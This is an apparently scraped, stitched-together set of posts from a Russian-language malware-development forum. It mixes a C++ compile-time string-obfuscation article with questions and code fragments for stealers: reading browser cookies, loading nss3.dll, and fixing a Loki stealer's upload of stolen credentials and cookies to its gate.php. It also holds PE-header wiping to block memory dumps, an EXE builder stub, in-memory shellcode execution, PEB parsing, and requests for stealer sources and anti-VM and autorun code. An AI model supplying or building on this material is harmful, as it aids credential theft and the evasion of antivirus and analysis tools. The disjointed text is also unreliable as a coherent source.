Мы будем использовать _printf_l для вывода сообщений в консоль вместо стандартного printf, так как printf переопределен в стандартной библиотеке, а _printf_l доступен в msvcrt.dll. ExitProcess мы вызываем, тк нам нужно корректно завершить процесс (при обычной сборке ExitProcess за нас вызовет стандартная библиотека, но нам в данном случае важнее незагруженность исполняемого файла, и да, мы же не ищем легких путей). Теперь напишем батничек для сборки и тестирования:
Code:Copy to clipboard
del /f /q main32.exe
del /f /q main64.exe
i686-w64-mingw32-g++ -o main32.exe -masm=intel -O3 -Os -fno-exceptions -fno-rtti -fno-ident main.cpp -nostdlib -e_EntryPoint -s -lkernel32 -lmsvcrt
x86_64-w64-mingw32-g++ -o main64.exe -masm=intel -O3 -Os -fno-exceptions -fno-rtti -fno-ident main.cpp -nostdlib -eEntryPoint -s -lkernel32 -lmsvcrt
main32.exe
main64.exe
Первые две и последние две строчки батника должны быть ясны, мы просто удаляем артефакты предыдущей сборки вначале и запускаем новые артефакты сборки в конце для удобства тестирования. Теперь к более сложному, мы используем i686-w64-mingw32-g++ для создания 32-битной версии нашего кода и x86_64-w64-mingw32-g++ соответственно для 64-битной версии. Параметр «-о» указывает название исполняемого файла, который мы хотим собрать. Параметр «-masm=intel» указывает компилятору, что мы хотим использовать ассемблер в интеловском синтаксе (потому, что читать AT&T – адская мука для глаз), в статье нам это не понадобится, но если вы захотите посмотреть, какой ассемблерный код генерирует компилятор или сделать ассемблерную вставочку, то этот параметр окажется полезным. «-O3 -Os» включают оптимизацию, нам же нужно проверить, что компилятор не соптимизировал всю нашу обфускацию в открытый текст. «-fno-exceptions -fno-rtti -fno-ident» отключает использование определенных фич С++, которые требуют стандартных библиотек. «-nostdlib» отключает использование стандартных библиотек. «-e» указывает имя для точки входа исполняемого файла. «-s» вырезает отладочную информацию. «-l» добавляет линковку системной библиотеки Венды, это необходимо, чтобы функции типа ExitProcess появились в таблице импорта.
Для начала сделаем себе простой макрос для вывода сообщения в консоль, чтобы меньше писать в будущем (я думаю, тут должно быть все понятно, самая обычная сишечка):
C++:Copy to clipboard
#define LOG(F, ...) _printf_l(F, 0, ##__VA_ARGS__)
Реализуем функцию для простого (читай не криптографического) хеширования строк на этапе компиляции по алгоритму FNV-1 (очень простой и легко реализуемый алгоритм), но сделаем ему возможность передачи произвольного зерна в параметрах, ну и сделаем его constexpr конечно:
C++:Copy to clipboard
constexpr uint32_t FNVHash(const char* string, uint32_t seed = 0) {
uint32_t res = seed;
for(int i = 0; string[i] != '\0'; i++) {
res = res * 16777619;
res = res ^ string[i];
}
return res;
}
Теперь добавим вот такой код в основную функцию:
C++:Copy to clipboard
LOG("%X\n", FNVHash("Hello World!"));
Посмотрим, что у нас получилось в дизассемблере (32-битный исполняемый файл):
Code:Copy to clipboard
mov [esp+18h+var_10], 6990D79Dh
mov [esp+18h+Locale], 0 ; Locale
mov [esp+18h+Format], offset Format ; "%X\n"
call ds:_printf_l
Как видно из листинга поддержка constexpr в плюсах улучшилась с древних времен, и эта constexpr функция сама по себе делает то, что мы от нее потребовали, то есть хеширует строку на этапе компиляции. И нам с вами теперь не нужно заморачиваться рекурсивной реализацией этой функции, как в прошлый раз. Но моя паранойя в отношении плюсовых компиляторов не дает мне покоя, поэтому таким вот образом мы можем быть уверены, что хеширование все-таки всегда будет происходить на этапе компиляции:
C++:Copy to clipboard
template <uint32_t Const> struct Constantify {
enum { Value = Const };
};
#define FNVHASH0(STR) Constantify<FNVHash(STR)>::Value
Проверяем использование FNVHASH0 макроса вместо FNVHash (64-битный исполняемый файл):
Code:Copy to clipboard
lea rcx, Format ; "%X\n"
mov r8d, 6990D79Dh
xor edx, edx ; Locale
call cs:_printf_l
Так, ну все работает, как надо. Дальше нам каким-то образом нужно получить зерно (мы будем использовать целое 32-битное число) для генераторов псевдослучайных значений, чтобы в последствии при каждой новой сборке проекта наши алгоритмы делали что-то по-разному - ну, например, меняли ключи. Можно передавать это число параметром компиляции или же взять значение констант DATE и TIME. Напишем вариант с использованием констант:
C++:Copy to clipboard
#define GET_COMPILE_SEED Constantify<FNVHash(__DATE__ __TIME__)>::Value
Проверим написанный макрос и убедимся, что при каждой последующей сборке проекта мы имеем разное зерно, добавив следующий код в основную функцию программы:
C++:Copy to clipboard
LOG("%X\n", GET_COMPILE_SEED);
Теперь мы можем наконец написать макрос для хеширования строк на этапе компиляции с зависимостью от зерна текущей сборки проекта:
C++:Copy to clipboard
#define FNVHASH(STR) Constantify<FNVHash(STR, GET_COMPILE_SEED)>::Value
Убедившись, что макрос работает правильно, сделаем небольшое лирическое отступление. Некоторые из читателей этой статьи наверное недоумевают, зачем в принципе нужно хешировать строки на этапе сборки проекта? Я расскажу вам несколько use case'ов. Допустим, что вам нужно проверить некоторую строку, которую вы получили из пользовательского ввода, на равенство некой уникальной строке (паролю например), и вы очень не хотите, чтобы мамкины крякеры могли, открыв ваш исполняемый файл дизассемблером, увидеть эту уникальную строку. Так вот хеширование - более менее неплохой выход. Но чтобы не хардкодить хеш- значение, его можно вычислить на этапе компиляции, более того в той реализации, что я уже показал вам, хеш-значение не будет постоянным и будет меняться при каждой пересборке проекта. Другой пример более популярен в малвари, чем в легитимном ПО, но иногда все же используется и там, это - динамический вызов API по хеш-значениям их имен. Как реализовывать такие вызовы на практике выходит за рамки этой статьи, но в интернете есть куча примеров, с этим вопросом пожалуйте в гугл.
Теперь напишем генератор псевдослучайных чисел, работающий на этапе компиляции. Важно отметить, что нам собственно не особо важны его свойства с точки зрения математики, нам достаточно, чтобы он генерировал хоть какие-то псевдослучайные числа. Поэтому я не стал запариваться рекурсивной реализацией, как в прошлый раз, и реализовал его через макрос COUNTER. Константы взяты из линейного конгруэнтного алгоритма, который использовался раньше в glibc (привет красноглазикам). Ну в общем смотрим код:
C++:Copy to clipboard
constexpr uint32_t Rand(uint32_t cnt) {
cnt = cnt + GET_COMPILE_SEED;
return cnt * 1103515245 + 12345;
}
#define RAND() Constantify<Rand(__COUNTER__)>::Value
#define RANDOM(MIN, MAX) (MIN + (RAND() % (MAX - MIN + 1)))
Опять же для тех читателей, кто не понимает зачем все это. В частности это можно использовать для генерации мусорного кода, но это уже совсем другая история, я же статью пишу, а не книгу, верно?
Так теперь переходим к самому, наверное, интересному, реализуем шифрование строк на этапе компиляции, тем более, что все нужное для этого у нас уже реализовано. Ну как к шифрованию, в текущем примере мы просто поксорим строку, ну а в продакшн коде само собой надо что-то поинтереснее придумать. Для начала сделаем вычисление длины строки на этапе компиляции, тут все просто:
C++:Copy to clipboard
constexpr uint32_t Strlen(const char* string) {
uint32_t res = 0;
for(int i = 0; string[i] != '\0'; i++)
{ res++; }
return res;
}
#define STRLEN(STR) Constantify<Strlen(STR)>::Value
Далее нам бы хотелось, чтобы весь сгенерированный код для конструирования и расшифровки строки был заинлайнен, поэтому добавим соответствующий макрос (этот макрос для GCC/MinGW, я не в курсе, как аналогичный атрибут называется в MSVC и Clang, возможно forceinline или что-то такое):
C++:Copy to clipboard
#define ALWAYS_INLINE __attribute__((always_inline))
Далее я сделаю небольшое лирическое отступление. Раньше приходилось сильно изворачиваться, чтобы обходить строку посимвольно на этапе компиляции. Все это потому, что шипко гениальные создатели плюсов сделали язык шаблонов полным по тьюрингу, но чисто функциональным. Это как писать на Haskell, но в еще более отвратительном синтаксисе. То есть этот код чуть более чем полностью должен состоять из чистых функций, не способных хранить состояние. В частности, из-за этого нельзя было реализовать какой-то цикличный алгоритм, а приходилось реализовывать все через рекурсию. К счастью до нас наконец доехали нормальные constexpr и комьюнити все-таки сподобилось придумать более-менее простой способ обхода строки на этапе компиляции, хоть и все равно рекурсивный. Давайте рассмотрим следующий код:
C++:Copy to clipboard
template <size_t Index> struct Encryptor {
ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
{ dst[Index] = src[Index] ^ key; Encryptor<Index - 1>::Encrypt(dst, src, key); }
};
template <> struct Encryptor<0> {
ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
{ dst[0] = src[0] ^ key; }
};
Знакомьтесь, это – рекурсивный шаблон, который обходит строку с последнего индекса и доходит до индекса 0. Шаблон сверху принимает аргумент – индекс в строке, который нужно зашифровать, и вызывает шаблон с индексом меньше на единицу. Шаблон снизу – это так называемый base case, который нужен, чтобы обработать нулевой символ и остановить рекурсию. Без него рекурсия бы продолжалась бесконечно долго (потому, что после нулевого индекса алгоритм перешел к минус первому). Хотя что я вам объясняю про рекурсию, вы наверняка уже все это знаете.
Теперь давайте используем шаблоны Encryptor для шифрования строк. Мы будем оборачивать строки в шаблонный по количеству элементов в строке класс, чтобы компилятор выделил для нас и строки буфер на стеке. Рассмотрим следующий код:
C++:Copy to clipboard
template <size_t Size> class EncryptedString {
mutable char _buffer[Size];
const char _key;
public:
ALWAYS_INLINE constexpr EncryptedString(const char string[Size], char key) : _key { key }
{ Encryptor<Size - 1>::Encrypt(_buffer, string, _key); }
ALWAYS_INLINE const char* Decrypt() {
for(int i = 0; i < Size; i++)
{ _buffer[i] ^= _key; }
return _buffer;
}
};
Мы реализуем шифрование строки на этапе компиляции в конструкторе класса, выделяем класс на стеке, и затем вызываем метод Decrypt, который проведет расшифровку буфера и вернет его адрес на стеке. Давайте рассмотрим код макроса, упрощающего это действо (обратите внимание, что у каждой строки будет свой псевдослучайный ключ для нашего "псевдо-шифрования"):
C++:Copy to clipboard
#define ENCRYPT_STRING(STR) EncryptedString<STRLEN(STR) + 1>(STR, (char)RANDOM(1, 0xFF)).Decrypt()
Протестируем, что у нас получилось следующим кодом:
C++:Copy to clipboard
LOG("%s\n", ENCRYPT_STRING("HELLO"));
И посмотрим на результат в дисассемблере:
Code:Copy to clipboard
; 32-битный код:
mov [ebp+var_F], 97979E93h
lea eax, [ebp+var_F]
lea ecx, [ebp+var_9]
mov [ebp+var_B], 0DB94h
mov edx, eax
mov [ebp+var_9], 0DBh
loc_40101F:
xor byte ptr [eax], 0DBh
inc eax
cmp eax, ecx
jnz short loc_40101F
; 64-битный код:
mov [rsp+38h+var_9], 9Fh
lea rax, [rsp+38h+var_F]
lea rdx, [rsp+38h+var_9]
mov [rsp+38h+var_F], 0D3D3DAD7h
mov r8, rax
mov [rsp+38h+var_B], 9FD0h
loc_401025:
xor byte ptr [rax], 9Fh
inc rax
cmp rax, rdx
jnz short loc_401025
Ну что же, выглядит неплохо. Теперь давайте переходить к заключению. Многие после прочтения данной статьи скажут, мол это всё – теребоньканье на плюсовый компилятор, всё это можно было бы легче сделать внешней тулзой, обфускатором каким-нибудь или навесить упаковщик/протектор. И я вам отвечу: да, вы абсолютно правы.
Чисто теоретически на базе этого кода можно реализовать полноценный обфускатор, практичность этого – весьма спорный вопрос. Кому-то покажется очень удобным обфусцировать код с помощью мета-программирования, а не копаться в парсерах С++ или более низкоуровневых представлениях кода, таких как LLVM. Кому-то окажется проще написать внешний обфускатор и не бороться с ограничениями убогово плюсового мета-программирования. Ну каждому своё, я просто хотел донести до вас интересную на мой взгляд тему для изучения, как минимум я многое узнал о плюсах копаясь в мета-программировании в далеком 2013 году.
Ну и последнее, весь приведенный код работает в сферическом вакууме, то есть на моем компьютере, с указанной версией компилятора, указанными флагами компилятора и тд. Так что если вдруг вы решите делать что-либо на базе этого кода, пожалуйста не забудьте хорошо всё протестировать. Спасибо за ваше внимание и всего вам хорошего!
ЗЫ И вот полный код, если кто-то запутался в словах статьи:
C++:Copy to clipboard
Код (C++):
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#define LOG(F, ...) _printf_l(F, 0, ##__VA_ARGS__)
template <uint32_t Const> struct Constantify {
enum { Value = Const };
};
constexpr uint32_t FNVHash(const char* string, uint32_t seed = 0) {
uint32_t res = seed;
for(int i = 0; string[i] != '\0'; i++) {
res = res * 16777619;
res = res ^ string[i];
}
return res;
}
#define FNVHASH0(STR) Constantify<FNVHash(STR)>::Value
#define GET_COMPILE_SEED Constantify<FNVHash(__DATE__ __TIME__)>::Value
#define FNVHASH(STR) Constantify<FNVHash(STR, GET_COMPILE_SEED)>::Value
constexpr uint32_t Rand(uint32_t cnt) {
cnt = cnt + GET_COMPILE_SEED;
return cnt * 1103515245 + 12345;
}
#define RAND() Constantify<Rand(__COUNTER__)>::Value
#define RANDOM(MIN, MAX) (MIN + (RAND() % (MAX - MIN + 1)))
constexpr uint32_t Strlen(const char* string) {
uint32_t res = 0;
for(int i = 0; string[i] != '\0'; i++)
{ res++; }
return res;
}
#define STRLEN(STR) Constantify<Strlen(STR)>::Value
#define ALWAYS_INLINE __attribute__((always_inline))
template <size_t Index> struct Encryptor {
ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
{ dst[Index] = src[Index] ^ key; Encryptor<Index - 1>::Encrypt(dst, src, key); }
};
template <> struct Encryptor<0> {
ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
{ dst[0] = src[0] ^ key; }
};
template <size_t Size> class EncryptedString {
mutable char _buffer[Size];
const char _key;
public:
ALWAYS_INLINE constexpr EncryptedString(const char string[Size], char key) : _key { key }
{ Encryptor<Size - 1>::Encrypt(_buffer, string, _key); }
ALWAYS_INLINE const char* Decrypt() {
for(int i = 0; i < Size; i++)
{ _buffer[i] ^= _key; }
return _buffer;
}
};
#define ENCRYPT_STRING(STR) EncryptedString<STRLEN(STR) + 1>(STR, (char)RANDOM(1, 0xFF)).Decrypt()
extern "C" void EntryPoint() {
LOG("%s\n", ENCRYPT_STRING("HELLO"));
ExitProcess(0);
}
Источник: https://wasm.in/blogs/meta-programmirovanie-s-i-obfuskacija.703/
Автор: Rel
C++:Copy to clipboard
HMODULE loadLibrary(string installationPath) {
const char nssLibraryName[] = "nss3.dll";
SetCurrentDirectory(installationPath.c_str());
HMODULE nssLib = LoadLibrary(nssLibraryName);
if (nssLib == NULL) {
printf("Library couldnt loaded!.. %d\n", GetLastError());
}
return nssLib;
}
библиотека не подключается help
Всем привет. Заинтересовали морферы на уровне сорцов, но в продакшене ничего умного, кроме как разбития символов/чисел на множество значений и мелочного преобразования циклов - я не нашел. Ни у кого нет исходников подобного?
Пишут ли малварь на Kotlin ?
Если да то можете скинуть пример
Те жи андроид боты
Если нет то почему ?
Можете перенести в болталку
Hidden content for authorized users.
Вообщем , читаю файл куки
C#:Copy to clipboard
cSQLite sSQLite = new cSQLite(tempCookieLocation);
sSQLite.ReadTable("cookies");
Вот так достаю всё что нужно
C#:Copy to clipboard
string value = sSQLite.GetValue(i, 12);
string hostKey = sSQLite.GetValue(i, 1);
string name = sSQLite.GetValue(i, 2);
string path = sSQLite.GetValue(i, 4);
string expires = sSQLite.GetValue(i, 5);
string isSecure = sSQLite.GetValue(i, 6);
Разумеется расшифровываю value и всё такое но вопрос не в этом .
Как мне достать secure и flag ?
Мой
C#:Copy to clipboard
string isSecure = sSQLite.GetValue(i, 6);
всегда возвращает 0 (те как я понимаю false) что не есть хорошо .
А как получить flag я вообще понять не могу .
Уже весь гугл перерыл
CLR - Common Language Runtime или общеязыковая среда выполнения.
CLR занимается управлением памятью, загрузкой сборок, безопасностью,
обработкой исключений, синхронизацией. CLR все равно, на каком языке ты
написал свой код, главное, чтобы твой компилятор поддерживал CLR. Данный фокус
достигается тем, что компиляторы под CLR генерируют твой код в IL
(управляемый / manage) код , чтобы в дальнейшем сгенерировать машинные
команды. Важно знать, что IL является стековым языком, все инструкции заносят
операнды в исполнительный стек и извлекают результаты из стека. Большим плюсом
IL кода является его верификация - проверка кода IL и всех его операций, это
гарант того, что код не будет обращаться к чужому участку памяти.
Каждый компилятор помимо IL кода, также создает полные
метаданные(metadata) для каждого управляемого модуля. Проще говоря,
метаданные — это набор таблиц данных, описывающих то, что определено в модуле,
например типы и их члены.
Что касается управляемого кода, то только С++ позволяет разработчику
создавать неуправляемый и управляемый код, встраивая их в единый модуль.
Модель выполнения кода в среде CLR:
Если говорить прямо, то CLR работает не с модулями, а со сборками (assembly). Сборка - абстрактное понятие группировки одного/нескольких управляемых модулей или файлов. Если в проекте есть зависимости, тогда сборка содержит в себе сведения о других сборках, таким образом, сборка становится самоописываемой (self-describing). Каждая сборка представляет собой исполняемое приложение или библиотеку DLL, содержащую набор типов для использования в исполняемом приложении.
Объединение управляемых модулей в сборку:
Для выполнения какого либо метода, IL-код должен быть преобразован в машинную
команду. Такой работой занимается JIT-компилятор (Just-In-Time) среды CLR.
Как работает JIT?
Когда программа в ходе выполнения обращается к методу, тогда вызывается
функция JITCompiler. JITCompiler известен вызываемый метод и его тип, он
находит в метаданных IL-код вызываемого метода, проверяет его и компилирует в
машинные команды, которые сохраняются в выделенном блоке памяти, адрес на
данный блок памяти JITCompiler подставляет вместо адреса вызываемого метода во
внутренних данных самого типа и передает управление коду в текущем блоке
памяти. Важно понимать, что первый вызов метода является самым медленным,
потому что повторной верификации и компиляции кода не производится.**JIT-
компилятор хранит машинные команды в динамической памяти, а это значит, что
скомпилированный код уничтожается при завершении работы приложения!
Структура работы при вызове метода:**
" CLR via C#" Джеффри Рихтер - электронную версию книги можно получить у
меня.
Спасибо за внимание.
Заметил что часто просто не отправляется архив на гейт. на примере локи
идет функция uploadfile, в адресе gate.php?hwid=dfasdf&psw=10&cookie=20...
Смотрю по логам на сервере - на гейт ип ломится, но лог не появляется. больше
отладить не смог, потому что не видно какой ав, мб фаерволл рубит. zip архив
со всем нужным лежит по нужному адресу.
Как лучше делать отправку в таком случае? Обязательно ли все менять? чтобы не
слало в адресной строке hwid pws etc.
Может как то шифровать зип и расшифровывать на гейте? если да, то как лучше
это сделать?
Для начала создаём класс SafeNativeMethods.cs
Запишем в него импорт VirtualProtect из библиотеки kernel32.dll
C#:Copy to clipboard
namespace DarkScript
{
using System.Runtime.InteropServices;
internal static class SafeNativeMethods
{
[DllImport("kernel32.dll")]
public static extern unsafe bool VirtualProtect(byte* lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
}
}
Далее создадим класс Protect.cs и запишем в него данный код:
C#:Copy to clipboard
namespace DarkScript
{
using System;
using System.Runtime.InteropServices;
internal static class Protect
{
public static unsafe void Initialize()
{
byte* ptr = (byte*)(void*)Marshal.GetHINSTANCE(typeof(Protect).Module);
byte* ptr2 = ptr + 60;
ptr2 = ptr + *(uint*)ptr2;
ptr2 += 6;
ushort num = *(ushort*)ptr2;
ptr2 += 14;
ushort num2 = *(ushort*)ptr2;
ptr2 = ptr2 + 4 + num2;
SafeNativeMethods.VirtualProtect(ptr2 - 16, 8, 64U, out uint num3);
*(int*)(ptr2 - 12) = 0;
byte* ptr3 = ptr + *(uint*)(ptr2 - 16);
*(int*)(ptr2 - 16) = 0;
SafeNativeMethods.VirtualProtect(ptr3, 72, 64U, out num3);
byte* ptr4 = ptr + *(uint*)(ptr3 + 8);
*(int*)ptr3 = 0;
*(int*)(ptr3 + 4) = 0;
*(int*)(ptr3 + 8) = 0;
*(int*)(ptr3 + 12) = 0;
SafeNativeMethods.VirtualProtect(ptr4, 4, 64U, out num3);
*(int*)ptr4 = 0;
for (int i = 0; i < num; i++)
{
SafeNativeMethods.VirtualProtect(ptr2, 8, 64U, out num3);
Marshal.Copy(new byte[8], 0, (IntPtr)(void*)ptr2, 8);
ptr2 += 40;
}
}
}
}
Далее просто вызываем метод Initialize() из класса Protect.cs
C#:Copy to clipboard
Protect.Initialize();
При попытке сдампить приложение, ничего не получаем)
Есть у кого? .net нормально виртуализирует, кто то пользовался?
](https://vmpsoft.com/purchase/buy-online/)
![vmpsoft.com](/proxy.php?image=https%3A%2F%2Fvmpsoft.com%2Fwp- content%2Fthemes%2Fvmp%2Ffavicon.ico&hash=e754a2c8ee935561821f62c0c76089f9&return_error=1) vmpsoft.com
del
Есть какие-то исходники каких-то стиллеров слитых мб с помощью которых можно ознакомиться с кодом стилера на шарпе, чтобы вообще понять чо писать надо?
You must have at least 5 reaction(s) to view the content.
Парни,очень нужна помощь в автозапуске exe и анти вм на языке c++ в инете нечего толком не нарыл,а то и есть на то антивирусы ругаются,кто умеет прошу помочь.
Подскажите, с какой литературы начать Java
Собственно, вопрос в шапке. В PEB увидел поле ImageBaseAddress, попытался цепануть оттуда, но там совсем дичь записана, сильно отличающаяся от реального адреса. Все это проверял через отладчик, наблюдая, куда грузится программа.
вопрос в шапке, как заставить C++ программу динамически линковать библу CRT?
Без ссылок, в гугле искал, ничего толкового не нашел.
Целью данной статьи является показать, как работает простейшийEXE Builder на основе бинарного патча.Я решилне добавлять стаб в ресурсы билдера , при желании вы можете сами это сделать.Для примера мы сделаем простейший MessageBox Builder.Данный способ является одним из самых примитивных, однако конечные EXE подлежат крипту.
Минусы данного способа:
Для начала создадим стаб и оптимизируем его.
Код стаба:
Code:Copy to clipboard
#include <Windows.h>
//Это заглушки , они нам понадобятся потом...
LPCSTR pszCaption = "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH";
LPCSTR pszMessage = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG";
VOID WINAPI Entry(VOID) {
MessageBoxA(NULL, pszMessage, pszCaption, MB_OK);
ExitProcess(EXIT_SUCCESS);
}
Теперь скомпилируем стаб и откроем его в HEX редакторе.Нам необходимо найти pszCaption и pszMessage заполнить нулями.
Теперь запомним смещение(нам надо будет его сохранить, оно понадобится при создании билдера):
Аналогичные действия проделываем с pszMessage и сохраняем.
Теперь приступим к написанию билдера.
Code:Copy to clipboard
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
SetConsoleTitle("Example EXE Builder.");
//Выделяем память и запрашиваем ввод
LPSTR pszCaption = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);
LPSTR pszMessage = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);
cout << "Caption: ";
cin >> pszCaption;
cout << "Message: ";
cin >> pszMessage;
if (!pszCaption || !pszMessage)
ExitProcess(EXIT_FAILURE);
DWORD dwWritten = 0;
//Копируем стаб
if (!CopyFile("Stub.exe", "Builded.exe", FALSE))
ExitProcess(EXIT_FAILURE);
//Открываем файл для записи
HANDLE hFile = CreateFileA("Builded.exe", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
ExitProcess(EXIT_FAILURE);
/*
Смещения:
-Caption: 0x610
-Message: 0x678
*/
//Спускаемся по смещениям и записываем данные
SetFilePointer(hFile, 0x610, 0, FILE_BEGIN);
WriteFile(hFile, pszCaption, lstrlen(pszCaption), &dwWritten, NULL);
SetFilePointer(hFile, 0x678, 0, FILE_BEGIN);
WriteFile(hFile, pszMessage, lstrlen(pszMessage), &dwWritten, NULL);
//Закрываем хэндл и осводождаем память.
std::cout << "Result saved as Builded.exe\n";
std::cin.get();
CloseHandle(hFile);
HeapFree(GetProcessHeap(), NULL, pszCaption);
HeapFree(GetProcessHeap(), NULL, pszMessage);
}
Скомпилируем билдер , скинем ранее подготовленный стаб в папку с билдером и протестируем.
Ну вот собственна и все)
В общем пытаюсь получить Content-Lenght таким образом:
C:Copy to clipboard
DWORD GetContentSize(HINTERNET requesthandle)
{
DWORD content_length = 0;
DWORD content_lengt_size = sizeof(DWORD);
if (!HttpQueryInfoW(requesthandle, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &content_length, &content_lengt_size, NULL)) {
return 0;
}
return content_length;
}
Шлю GET-запрос на сервер:
C:Copy to clipboard
DWORD GetRequest(LPCWSTR host, BOOL isSsl, LPCWSTR req, DWORD* responseSize, LPWSTR response)
{
HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL;
hInternet = InternetOpenW(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
return INVALID_INTERNET_SESSION;
}
hConnect = InternetConnectW(hInternet, host, isSsl ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
if (hConnect == NULL)
{
InternetCloseHandle(hInternet);
return INTERNET_CONNECT_ERROR;
}
hRequest = HttpOpenRequestW(hConnect, L"GET", req, NULL, NULL, NULL, isSsl ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hRequest == NULL)
{
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return INVALID_REQUEST;
}
if (!HttpSendRequestW(hRequest, NULL, 0, NULL, 0))
{
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return SEND_REQ_ERROR;
}
*responseSize = GetContentSize(hRequest);
LPVOID buff = calloc(*responseSize, sizeof(wchar_t));
DWORD dwByteRead;
InternetReadFile(hRequest, buff, dataSize, &dwByteRead);
ASCIIToUnicode((char*)buff, response);
free(buff);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 0;
}
error = GetRequest(L"127.0.0.1", FALSE, L"/hello/", &responseSize, serverResponse);
Ответ сервера:
Но по итогу responseSize равен 0. С чем это может быть связано? Или как реализовать получение Content-Lenght правильно?
Тестирую морфер.
Исходники кидайте под хайд, желательно сразу проектом VS.
Пытаюсь записать код в память и динамически его выполнить. Сам shell:
\x55\x89\xE5\xB8\x20\x00\x00\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xE8\xFC\xFF\xFF\xFF\x89\xEC\x5D\xC3
Spoiler: disasm
Code:Copy to clipboard
push ebp
mov ebp, esp
mov eax, 0x20
push 0x0
push 0x00000000
push 0x00000000
push 0x0
call 0x00000000
mov esp, ebp
pop ebp
ret
Четыре байта с 23й позиции нужно заменить на адрес функции MessageBoxA. Пытаюсь сделать следующим образом:
C:Copy to clipboard
#include <stdio.h>
#include <Windows.h>
typedef int(__stdcall *myfunc)(void);
int main()
{
printf("Push <enter> for run shell code\n");
system("pause");
byte shell[31] = { 0x55, 0x89, 0xE5, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x68, 0x00, 0x00, 0x00, //12 13 14 15
0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x75, 0xAA, 0x27, 0x30, 0x89, 0xEC, 0x5D, 0xC3 }; //17 18 19 20
//byte shell[] = { 0x55, 0x89, 0xE5, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x89, 0xEC, 0x5D, 0xC3 };
char* text = new char[10] { "Test ebat" };
char* title = new char[6] { "title" };
LPVOID lpBaseShell = malloc(sizeof(shell));
if (lpBaseShell)
{
memcpy(shell + 11, &title, 4);
memcpy(shell + 16, &text, 4);
DWORD dwOldProtect;
VirtualProtectEx(GetCurrentProcess(), lpBaseShell, sizeof(shell), PAGE_EXECUTE_READWRITE, &dwOldProtect);
HMODULE hUserDLL = LoadLibrary(L"User32.dll");
if (hUserDLL)
{
LPVOID lpMsgBox = (LPVOID)GetProcAddress(hUserDLL, "MessageBoxA");
memcpy(shell + 23, lpMsgBox, 4);
SIZE_T writtenBytes;
WriteProcessMemory(GetCurrentProcess(), lpBaseShell, shell, sizeof(shell), &writtenBytes);
myfunc mf = (myfunc)lpBaseShell;
int rez = mf();
}
free(lpBaseShell);
}
system("pause");
return 0;
}
Но при таком подходе выкидывает "нарушение прав доступа при исполнении по адресу ". Что, собственно, делаю не так?
UPD: Заголовок не совсем корректно сделал
Привет всем. Пытаюсь распарсить Ldr следующим образом:
C:Copy to clipboard
typedef struct _UNICODE_STRING
{
WORD Length;
WORD MaximumLength;
WORD* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT* EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG ImageUsesLargePages : 1;
ULONG IsProtectedProcess : 1;
ULONG IsLegacyProcess : 1;
ULONG IsImageDynamicallyRelocated : 1;
ULONG SpareBits : 4;
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
void main()
{
PPEB pPEB = (PPEB)__readfsdword(0x30);
PPEB_LDR_DATA pPEB_LDR_DATA = pPEB->Ldr;
PLIST_ENTRY pListEntry = (PLIST_ENTRY)(pPEB_LDR_DATA->InMemoryOrderModuleList.Flink);
